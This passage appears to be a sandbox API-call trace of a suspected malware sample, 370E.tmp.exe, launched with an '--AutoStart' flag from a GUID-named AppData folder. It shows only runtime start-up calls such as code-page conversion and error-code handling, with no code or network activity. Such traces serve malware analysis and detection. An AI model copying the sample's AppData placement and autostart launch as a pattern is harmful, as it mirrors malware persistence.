HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c79e, hStdOutput=0x9a0c1936, hStdError=0x0)) [0095.645] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0095.645] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0095.645] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0095.645] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" [0095.649] GetEnvironmentStringsW () returned 0x5f2a58* [0095.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0095.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x581) returned 0x5f3568 [0095.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5f3568, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0095.649] FreeEnvironmentStringsW (penv=0x5f2a58) returned 1 [0095.649] GetLastError () returned 0x7f [0095.649] SetLastError (dwErrCode=0x7f) [0095.649] GetLastError () returned 0x7f [0095.649] SetLastError (dwErrCode=0x7f) [0095.649] GetLastError () returned 0x7f [0095.649] SetLastError (dwErrCode=0x7f) [0095.649] GetACP () returned 0x4e4 [0095.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x5f3af8 [0095.649] GetLastError () returned 0x7f [0095.649] SetLastError (dwErrCode=0x7f) [0095.649] IsValidCodePage (CodePage=0x4e4) returned 1 [0095.649] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0095.650] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0095.650] GetLastError () returned 0x7f [0095.650] SetLastError (dwErrCode=0x7f) [0095.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.650] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0095.650] GetLastError () returned 0x7f [0095.650] SetLastError (dwErrCode=0x7f) [0095.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.928] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0095.937] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0095.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x18\x0c\x9a\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0095.937] GetLastError () returned 0x7f [0095.937] SetLastError (dwErrCode=0x7f) [0095.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.937] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.937] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0095.937] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0095.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x18\x0c\x9a\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0095.937] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x47c8f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0x5d [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.937] GetLastError () returned 0x0 [0095.937] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.938] GetLastError () returned 0x0 [0095.938] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.939] SetLastError (dwErrCode=0x0) [0095.939] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.940] SetLastError (dwErrCode=0x0) [0095.940] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] SetLastError (dwErrCode=0x0) [0095.941] GetLastError () returned 0x0 [0095.941] 